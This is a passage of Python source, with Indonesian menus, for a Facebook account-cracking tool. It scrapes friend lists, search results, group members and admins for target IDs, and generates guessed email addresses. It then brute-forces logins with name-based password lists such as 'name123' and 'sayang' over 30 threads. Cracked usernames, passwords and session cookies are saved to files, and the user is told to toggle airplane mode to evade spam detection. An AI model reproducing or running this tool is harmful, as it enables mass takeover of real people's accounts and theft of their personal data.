- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Nama, Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] dinda, rahmawati[bold white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- username = Console().input("[bold grey50] ╰─> ")
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Total Dump Email, Dump Email Dengan Jumlah Di Wajibkan Melebihi [bold red]2000!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- total = Console().input("[bold grey50] ╰─> ")
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Satu Domain, Example :[italic green] @gmail.com, @yahoo.com dan lainnya", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Catatan[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- domain = Console().input("[bold grey50] ╰─> ")
- for self.username in username.split(','):
- try: self.Clone_Email(self.username, total, domain)
- except (Exception, requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError, KeyboardInterrupt): pass
- if len(dump) < 50:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Email Terlalu Sedikit, Dump Email Harus Melebihi 50 Email Dan Pastikan Target Nama Umum!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump Terlalu Sedikit[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65).print(Panel(f'[bold green]{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Dump[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
- self.Methode()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '09' or query == '9':
- try:
- Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result CP',style='bold grey50'), justify='center')
- choose = Console().input("[bold grey50] ╰─> ")
- if choose =='01' or choose =='1':
- try: file = os.listdir('/sdcard/OK')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File OK[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]ok-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- elif choose =='02' or choose =='2':
- try:
- file = os.listdir('/sdcard/CP')
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]File CP[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]cp-Facebook-2024.txt[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
- files = Console().input("[bold grey50] ╰─> ")
- self.Result(choose,files)
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Chek Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold blue] (Error) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- elif query == '00' or query == '0':
- try: self.deled_dst()
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold blue50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- else:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Facebook!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Result(self, result, isi):
- if result in ('1','01'):
- for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true.add(f"Teman {buka.split('|')[2]}"); true.add(f"Tanggal Lahir {buka.split('|')[3]}"); true = tree.add(f"Cookie {buka.split('|')[4]}"); tree.add("Success cek in Result OK"); printz(tree)
- except Exception as e: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); true = tree.add(f"Cookie {buka.split('|')[2]}"); tree.add("Success cek in Result OK"); printz(tree)
- elif result in ('2','02'):
- for buka in open(f'/sdcard/CP/'+str(isi)).readlines():
- try: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
- except Exception: tree = Tree(f'\r╭ logged in checkpoint',style='yellow'); true = tree.add(f"Username {buka.split('|')[0]}"); true.add(f"Password {buka.split('|')[1]}"); tree.add("Success cek in Result CP"); printz(tree)
- def Dump_Friends(self,username,token,cookie):
- with requests.Session() as r:
- try:
- resp = r.get(f'https://graph.facebook.com/{username}?fields=friends.fields(id,name)&limit=5000&access_token={token[1]}', cookies={'cookie':cookie[0]}).json()
- for i in resp['friends']['data']:
- uid, name = i['id'], i['name']
- if uid+'<=>'+name not in dump:
- dump.append(uid+'<=>'+name)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(uid)[:20]}/{len(dump)} ID... ", end='\r')
- except (AttributeError, KeyboardInterrupt) as e: pass
- def Dump_Nama(self, url, cookie, cursor):
- with requests.Session() as r:
- try:
- curl = bs(r.get(url, headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text,'html.parser')
- self.payload = Requ().payload(curl)
- self.payload.update({
- 'fb_api_req_friendly_name': 'SearchCometResultsPaginatedResultsQuery',
- 'variables':json.dumps({"UFI2CommentsProvider_commentsKey":"SearchCometResultsInitialResultsQuery","allow_streaming":False,"args":{"callsite":"COMET_GLOBAL_SEARCH","config":{"exact_match":False,"high_confidence_config":None,"intercept_config":None,"sts_disambiguation":None,"watch_config":None},"context":{"bsid":re.search('"bsid":"(.*?)"',str(curl)).group(1),"tsid":None},"experience":{"encoded_server_defined_params":None,"fbid":None,"type":"PEOPLE_TAB"},"filters":[],"text":url.split('=')[-1].replace('+',' ')},"count":5,"cursor":cursor,"displayCommentsContextEnableComment":False,"displayCommentsContextIsAdPreview":False,"displayCommentsContextIsAggregatedShare":False,"displayCommentsContextIsStorySet":False,"displayCommentsFeedbackContext":None,"feedLocation":"SEARCH","feedbackSource":23,"fetch_filters":True,"focusCommentID":None,"locale":None,"privacySelectorRenderLocation":"COMET_STREAM","renderLocation":"search_results_page","scale":1.5,"stream_initial_count":0,"useDefaultActor":False,"__relay_internal__pv__IsWorkUserrelayprovider":False,"__relay_internal__pv__IsMergQAPollsrelayprovider":False,"__relay_internal__pv__CometUFIReactionsEnableShortNamerelayprovider":False,"__relay_internal__pv__CometUFIIsRTAEnabledrelayprovider":False,"__relay_internal__pv__StoriesArmadilloReplyEnabledrelayprovider":False,"__relay_internal__pv__StoriesRingrelayprovider":False}),
- 'server_timestamps':True,
- 'doc_id':'7704205549605925'
- })
- resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
- for i in resp['data']['serpResponse']['results']['edges']:
- uid, nama = i['relay_rendering_strategy']['view_model']['loggedProfile']['id'], i['relay_rendering_strategy']['view_model']['loggedProfile']['name']
- if uid+'<=>'+nama not in dump:
- dump.append(uid+'<=>'+nama)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(dump)} User ID... ", end='\r')
- if resp['data']['serpResponse']['results']['page_info']['has_next_page']:
- cursor = resp['data']['serpResponse']['results']['page_info']['end_cursor']
- self.Dump_Nama(url,cookie,cursor)
- except (AttributeError, KeyboardInterrupt) as e: pass
- def Dump_Member(self, username, cookie, cursor):
- with requests.Session() as r:
- try:
- curl = r.get('https://www.facebook.com/groups/%s/members'%(username), headers = Requ().headers_get(), cookies = {'cookie': cookie[0]}, allow_redirects=True).text
- self.payload = Requ().payload(curl)
- self.payload.update({
- 'fb_api_req_friendly_name': 'GroupsCometMembersPageNewMembersSectionRefetchQuery',
- 'server_timestamps':True,
- 'doc_id':'6621621524622624',
- 'variables':json.dumps({"count":10,"cursor":cursor,"groupID": re.search('"groupID":"(.*?)"',str(curl)).group(1),"recruitingGroupFilterNonCompliant":False,"scale":1.5,"id": re.search('"groupID":"(.*?)"',str(curl)).group(1)})
- })
- resp = r.post('https://www.facebook.com/api/graphql/', data = self.payload, headers = Requ().headers_post(), cookies={'cookie': cookie[0]}).json()
- for i in resp['data']['node']['new_members']['edges']:
- uid, nama = i['node']['id'], i['node']['name']
- if uid+'<=>'+nama not in dump:
- dump.append(uid+'<=>'+nama)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(dump)} User ID... ", end='\r')
- if resp['data']['node']['new_members']['page_info']['has_next_page']:
- cursor = resp['data']['node']['new_members']['page_info']['end_cursor']
- self.Dump_Member(username,cookie,cursor)
- except (AttributeError, KeyboardInterrupt) as e: pass
- def Dump_Admin(self, url, cookie):
- with requests.Session() as r:
- try:
- link = r.get(url, cookies={'cookie':cookie[0]}).text
- cari = re.findall('<a\s+href="([^"]+)"><div class\=\".*?"><div class\=\".*?">([^<]+)</div>', str(link))
- for x in cari:
- if "groups" in x[0]:
- xx =r.get(f"https://mbasic.facebook.com/groups/{re.search('groups/(.*?)/', x[0]).group(1)}?view=members", cookies={'cookie':cookie[0]})
- if "Admin dan Moderator" in str(xx.text):
- carz = re.findall('<h3><a class\=\".*?" href="(.*?)">(.*?)</a></h3>', xx.text)
- for i in carz:
- if "profile.php?" in i[0]: uid, nama = re.findall("id=(.*?)&eav", i[0])[0], i[1]
- else: uid, nama = re.findall("/(.*?)\?eav", i[0])[0], i[1]
- else: continue
- if uid+'<=>'+nama not in dump: dump.append(uid+'<=>'+nama)
- else: continue
- Console().print(f"[bold grey50] ╰─>[bold green] Dump @{str(uid)[:20]}/{len(uid)} Admin... ", end='\r')
- if "Lihat Hasil Selanjutnya" in link:
- self.Dump_Admin(bs(link, "html.parser").find("a", string="Lihat Hasil Selanjutnya").get("href"), cookie)
- except (AttributeError, KeyboardInterrupt) as e: pass
- def Clone_Email(self, nama, total, doma):
- orang = ['dinda','adinda','rahma','rahmawati','suci','sucika','cantik','cantika','bagus','bagusin','bagas','bagasin','ulfah','ilham','ilhamsyah','randu','rindu','sayang','sayangku','cinta','cintaku','opah','fatimah','fatih','basuki','munir','munawirul','kolbi','zulkifli','ayahab','putriani','ahmadun','ahmad','puspita','mita','dika','rahman','rohman','alvino','aldino','khan','syarif','sarip','sarifuddin','saifuddin','kafabih','ridho','tito','afif','afifatur']
- with ThreadPoolExecutor(max_workers=5):
- for bukan_kaleng in range(int(total)):
- dumping = random.choice([
- f'{nama}{random.randint(0,999)}{doma}',
- f"{nama}{random.choice(orang)}{random.randint(0,999)}{doma}",
- f"{nama}{random.choice(orang)}{doma}",
- f"{nama}{random.choice(orang)}{str(random.randint(0,99))}{doma}"
- ])
- if dumping not in dump: dump.append(dumping+'<=>'+nama)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(dump)} User mail... ", end='\r')
- if int(len(dump)) == total: return(int(total))
- return dump
- def Clone_Files(self, username):
- try:
- for buka in open(self.username,'r').readlines():
- try: uid, name = buka.split('|')[0], buka.split('|')[1]
- except: continue
- if uid+'<=>'+name not in dump: dump.append(uid+'<=>'+name)
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(dump)} ID... ", end='\r')
- except (Exception, FileNotFoundError) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Methode(self):
- try:
- self.kilo.append(Panel(f'[bold green]01.[bold white] Methode [bold green]Web Meta\n[bold green]02.[bold white] Methode [bold green]Asyinc Ins', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Only[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50', subtitle = "╭─────", subtitle_align = "left"))
- self.kilo.append(Panel(f'[bold green]03.[bold white] Methode [bold green]Bapi\n[bold green]04.[bold white] Methode [bold green]Graph', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Api[bold grey50]) [bold green]<[bold yellow]<[bold red]<', width = 32, style='bold grey50'))
- Console().print(Columns(self.kilo))
- Kntl = Console().input("[bold grey50] ╰─> ")
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menampilkan [italic green]Aplikasi, Teman, Tanggal lahir[italic white] Yang Terkait Di Dalam Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menampilkan Opsi Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menampilkan Opsi Tersebut!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menampilkan Opsi Akun[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Secure_Akun = Console().input("[bold grey50] ╰─> ")
- if Secure_Akun =='y' or Secure_Akun =='ya': self.opsi.append('ya')
- else: self.opsi.append('tidak')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Ketik [italic red]tidak/t[italic white] Jika Anda Ingin Menggunakan Useragent Bawaan Script, Ketik [italic yellow]sendiri[italic white] Jika Anda Ingin Menggunakan Useragent Anda Sendiri Dan Ketik [italic green]scrapt[italic white] Jika Anda Ingin Menggunakan Useragent Tunggal Scrapt Dari Website [italic white]([italic blue]https://user-agents.net[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Ua_Akun = Console().input("[bold grey50] ╰─> ")
- if Ua_Akun =='sendiri' or Ua_Akun =='Sendiri':
- self.uaman.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Useragent Anda, Anda Juga Bisa Menggunkan Useragent Baawaan Hp Anda [italic white]([italic green]my user agent[italic white])", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Mugu = Console().input("[bold grey50] ╰─> ")
- self.uaku.append(Mugu)
- elif Ua_Akun =='scrapt' or Ua_Akun =='Scrapt':
- self.uaman.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Daftar Useragent Dari Website [italic white]([italic blue]https://user-agents.net[italic white]) Yaitu : [italic green]Windows Edge, Windows Vivaldi, Nokia Browser, Vivo Browser, Samsung Browser, Redmi Browser, Oppo Browser, Huawei Browser[italic white] Silakan Masukan Pilihan Anda, Misal : [italic green]Windows Browser", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Useragent[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Web = Console().input("[bold grey50] ╰─> ").lower()
- if Web =='windows edge': usd = self.Scraper_Useragent('https://user-agents.net/browsers/edge')
- elif Web =='windows vivaldi': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivaldi')
- elif Web =='nokia browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/nokia-proxy-browser')
- elif Web =='vivo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/vivo-browser')
- elif Web =='samsung browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/samsung-browser')
- elif Web =='redmi browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/miui-browser')
- elif Web =='oppo browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/oppo-browser/platforms/android')
- elif Web =='huawei browser': usd = self.Scraper_Useragent('https://user-agents.net/browsers/huaweibrowser')
- self.uaku.append(usd)
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{usd}", title = f"[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]{Web}[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- else: self.uaman.append('tidak')
- self.Exec_Password(Kntl)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Scraper_Useragent(self, url, en=[]):
- with requests.Session() as r:
- try:
- resp = r.get(url,headers={'user-agent': 'Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}).text
- cari = re.findall("<li><a href\=\'(.*?)\'\>(.*?)\<\/a\>", resp)
- for buka in cari:
- if "Mozilla" in str(buka):
- if buka not in en:en.append(buka[1])
- Console().print(f"[bold grey50] ╰─>[bold green] Dump {len(en)} Useragent... ", end='\r')
- return(buka[1])
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Exec_Password(self, Kntl):
- try:
- Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Username, Nama Depan Dan Belakang [bold green]123,12345\n[bold white][bold green]02[bold white]. Username, Nama Depan Dan Belakang [bold green]123, 1234, 12345\n[bold white][bold green]03[bold white]. Bismillah, Sayang, Nama Depan Dan Belakang [bold green]12345\n[bold white][bold green]04[bold white]. Gunakan Password Manual Dari Pemasukan Anda''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menu Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Password_Akun = Console().input("[bold grey50] ╰─> ")
- if Password_Akun in ('04') or Password_Akun in ('4'):
- self.masukan_sandine.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Masukan_Password = Console().input("[bold grey50] ╰─> ")
- for ops in Masukan_Password.split(','):
- self.password_manuale.append(ops)
- self.Password_Tambah(Kntl, Password_Akun)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Password_Tambah(self,Kntl, Password_Akun):
- try:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Apakah Anda Ingin Menambahkan [italic green]Password Manual[italic white] Untuk Melakukan Crack Akun!, Ketik [italic green]ya/y[italic white] Jika Ingin Menambahkan Password Dan Ketik [italic red]tidak/t[italic white] Jika Tidak Ingin Menambahkan Password Akun!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Menambahkan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Zigarete = Console().input("[bold grey50] ╰─> ")
- if Zigarete == 'y' or Zigarete =='ya':
- self.masukan_sandi.append('ya')
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Password Anda, Misalnya : [italic green]Kamu Nanya, Jakarta, Semarang, Boyolali, Kebumen[italic white] Dan Lainnya!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Masukan Password[bold grey50]) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
- Masukan_Password = Console().input("[bold grey50] ╰─> ")
- for ops in Masukan_Password.split(','): self.password_manual.append(ops)
- else: self.masukan_sandi.append('no')
- self.Exec_Methode(Kntl, Password_Akun)
- except (Exception) as e:
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Error[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def Exec_Methode(self, Kntl, Password_Akun):
- Console(width = 65, style = "bold grey50").print(Panel(f"[bold green]•[bold white] Result [bold green]OK[bold white] Tersimpan Di : /sdcard/OK/[bold green]ok-{self.alt}\n[bold green]•[bold white] Result [bold red]CP[bold white] Tersimpan Di : /sdcard/CP/[bold red]cp-{self.alt}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Result Facebook[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- Console(width = 65).print(Panel('[italic green]Mainkan Mode Pesawat Setiap 200 Looping Agar Terhindar Spam!',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Warning Spam[bold grey50]) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'))
- with ThreadPoolExecutor(max_workers=30) as V:
- for Username_And_Fullname in dump:
- username, fullname = Username_And_Fullname.split('<=>')
- self.password = []
- if Password_Akun =='01' or Password_Akun =='1':
- for nama in fullname.split(' '):
- if len(nama) < 3:
- continue
- else:
- for passwords in [f'{nama}123', f'{nama}12345']:
- if len(passwords) < 6 or str(passwords).isalnum() == False or len(fullname.split(' ')) > 5:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- elif Password_Akun =='02' or Password_Akun =='2':
- for nama in fullname.split(' '):
- if len(nama) < 3:
- continue
- else:
- for passwords in [f'{nama}123', f'{nama}1234', f'{nama}12345']:
- if len(passwords) < 6 or str(passwords).isalnum() == False or len(fullname.split(' ')) > 5:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- elif Password_Akun =='03' or Password_Akun =='3':
- for nama in fullname.split(' '):
- if len(nama) < 3:
- continue
- else:
- for passwords in ['Sayang', 'Bismillah', f'{nama}12345']:
- if len(passwords) < 6 or str(passwords).isalnum() == False or len(fullname.split(' ')) > 5:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- elif Password_Akun =='04' or Password_Akun =='4':
- for Pemasukan_Password in self.password_manual:
- self.password.append(Pemasukan_Password)
- else:
- for nama in fullname.split(' '):
- if len(nama) < 3:
- continue
- else:
- for passwords in [f'{nama}123', f'{nama}1234', f'{nama}12345']:
- if len(passwords) < 6 or str(passwords).isalnum() == False or len(fullname.split(' ')) > 5:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
- if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
- continue
- else:
- self.password.append(f'{str(passwords).lower()}')
- if 'ya' in self.masukan_sandine:
- for Pemasukan_Password in self.password_manuale:
- self.password.append(Pemasukan_Password)
- if Kntl in ('1') or Kntl in (
- '01'): V.submit(self.ExecWeb, username, self.password)
- elif Kntl in ('2') or Kntl in (
- '02'): V.submit(self.ExecAsyinc, username, self.password)
- elif Kntl in ('3') or Kntl in (
- '03'): V.submit(self.ExecApi, username, self.password)
- elif Kntl in ('4') or Kntl in (
- '04'): V.submit(self.ExecGraph, username, self.password)
- else: V.submit(self.ExecValid, username, password)
- Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.ok}[bold white] Hasil [bold green]Success[bold white] Dan [bold red]{self.cp}[bold white] Hasil [bold red]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] ID, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
- exit()
- def ExecWeb(self, username, password):
- byps = requests.Session()
- Console().print(f"[bold grey50] ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white] ", end='\r')
- ua_generate = generate_agent()
- while True:
- try:
- if 'ya' in self.uaman: ua_generate = self.uaku[0]
- else: ua_generate
- self.poge = byps.get('https://web.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Foidc%2F%3Fapp_id%3D322935469656730%26redirect_uri%3Dhttps%253A%252F%252Fauth.meta.com%252Foidc%252Ffacebook%252Fresponse%252F%26response_type%3Dcode%26scope%3Dopenid%2Blinking%26state%3DATDdIzgSBz9-0qbCMmXEOhRZRqMVnOUQWEoqAWXHJMNR81SpqeyX_WmNClpUF3vjR8zPczvIkLRz6LXtszK9S2STD-Z6AwM4AJj8ep_enYcWdOKcfVXvtlR07dmUe8he94eJlN5D6CSzq9tVgKdaDK_chZaAdFU_xgInMVDOysHx_wNvZM21wPkrlgECyITAtQlVloRVPjj0x0xsVZjMggCo7-ksIf-wFTcVL2OnURBQpIyFokXtafzpmdiwxmUcbU-qa-R4InV05fuCBnFZxzQmDanQhc0V11C8A13ZiGLWCtT9c7RCDovRgCHfuVXZ50iFXJ2nZT4sdbA&_rdc=1&_rdr').text
- self.payload = {
- 'trynum':'1',
- 'timezone':'-420',
- 'lgndim': re.search('name="lgndim" value="(.*?)"', str(self.poge)).group(1),
- 'lgnrnd': re.search('name="lgnrnd" value="(.*?)"', str(self.poge)).group(1),
- 'lgnjs': re.search('name="lgnjs" value="(.*?)"', str(self.poge)).group(1),
- 'prefill_contact_point': f'{username}',
- 'prefill_source': 'browser_dropdown',
- 'prefill_type': 'password',
- 'first_prefill_source': 'browser_dropdown',
- 'first_prefill_type': 'contact_point',
- 'had_cp_prefilled': 'true',
- 'had_password_prefilled': 'true',
- 'is_smart_lock': 'false',
- 'bi_xrwh': '0',
- 'lsd': re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1),
- 'jazoest': re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1),
- }
- byps.headers.update({
- 'host': 'web.facebook.com',
- 'sec-ch-ua-mobile':'?0',
- 'content-length': str(len(self.payload)),
- 'cache-control': 'max-age=0',
- 'sec-ch-ua-mobile': '?1',
- 'sec-ch-ua-platform': '"Android"',
- 'upgrade-insecure-requests': '1',
- 'origin': 'https://web.facebook.com',
- 'x-fb-lsd': self.payload['lsd'],
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ua_generate,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'cors',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'empty',
